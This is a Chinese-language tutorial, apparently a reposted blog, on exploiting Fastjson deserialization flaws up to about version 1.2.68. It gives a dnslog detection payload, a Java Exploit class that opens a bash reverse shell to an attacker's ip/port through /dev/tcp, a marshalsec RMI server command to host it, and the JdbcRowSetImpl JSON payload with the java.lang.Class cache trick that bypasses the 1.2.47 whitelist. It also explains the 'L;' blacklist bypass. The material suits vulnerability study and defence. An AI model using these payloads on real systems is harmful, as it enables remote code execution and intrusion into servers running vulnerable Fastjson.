Fastjson 概述

Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到JavaBean。

漏洞版本

Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞

Java序列化小知识

序列化时,会调用成员变量的get方法,私有成员变量不会被序列化。
反序列化时,会调用成员变量的set方法,public修饰的成员全部自动赋值。

Fastjson反序列化方法

第一种,指定返回类型的对象
User user = JSON.parseObject(serializedStr, User.class);
第二种,返回JsonObject对象
Object obj = JSON.parse(serializedStr);
但如何让程序自动获得序列化对象的类型呢?第一种需要自己指定,第二种则返回Obj类型,Fastjson则提供一个自省@type 自动转换类型。
在这里插入图片描述
这就存在漏洞,可以通过自省,可构造指定要序列化的类。
在这里插入图片描述

Fastjson 反序列化漏洞

1.2.24:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
1.2.47:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

Fastjson查找

fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了fastjson
在这里插入图片描述

  1. 找到发送json序列化数据的接口
  2. 判断是否使用fastjson
    1)输入非法格式,查看报错信息,例如{“x”:"
    2)使用dnslog探测
  3. Burp插件 github搜 fastjson

Fastjson漏洞发现(利用 dnslog)

{"name":{"@type":"java.net.InetAddress","val":"test.sr3uwk.ceye.io"}}

Fastjson的利用(编译)

//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i &gt;&
/dev/tcp/ip/port 0&gt;&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

Fastjson的利用

使用marshalsec开启监听
项目地址:https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
“http://ip/#Exploit” port
执行攻击payload:

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"
b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip/Exploit","autoCommit":true}}

Fastjson的升级和利用

从1.2.25起,fastjson默认关闭了autotype,引入了checkAutoCheck。
1.2.25–1.2.41之前,在checkAutotype的代码中,会先进行黑白名单过滤,如果反序列化的类不再黑名单中,才会进行反序列化。
但fastjson加载类时,有一段特殊处理,会去掉className的前面的L和;(分号)。比如过滤com.sun.rowset.JdbcRowSetImpl,但Lcom.sun.rowset.JdbcRowSetImpl;不在黑名单中,而fastjson又会去掉前面的L和; , 将类还原回com.sun.rowset.JdbcRowSetImpl,最后fastjson将全面的所有L和;全部去掉后,再过滤。该类绕过方式就G了。

1.2.47版本。autoType不开启反而会被攻击。因为fastjson有个全局缓存机制。在类加载时,如果autotype关闭,回尝试从缓存中获取类,如果缓存中有,则直接返回。所以如果能让缓存中存在com.sun.rowset.JdbcRowSetImpl,则又可利用了。 问题是如何让缓存中有com.sun.rowset.JdbcRowSetImpl
java.lang.Class类给出了新的利用手法,java.lang.Class类是一定存在的,并且该类反序列化时会取json串中的val值,并加载这个类。因此将com.sun.rowset.JdbcRowSetImpl 放在java.lang.Class的val位置,com.sun.rowset.JdbcRowSetImpl就能被加载到缓存中。该方法利用前提:fastjson cache 为true
在这里插入图片描述
v1.2.68利用异常进行攻击
在这里插入图片描述

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐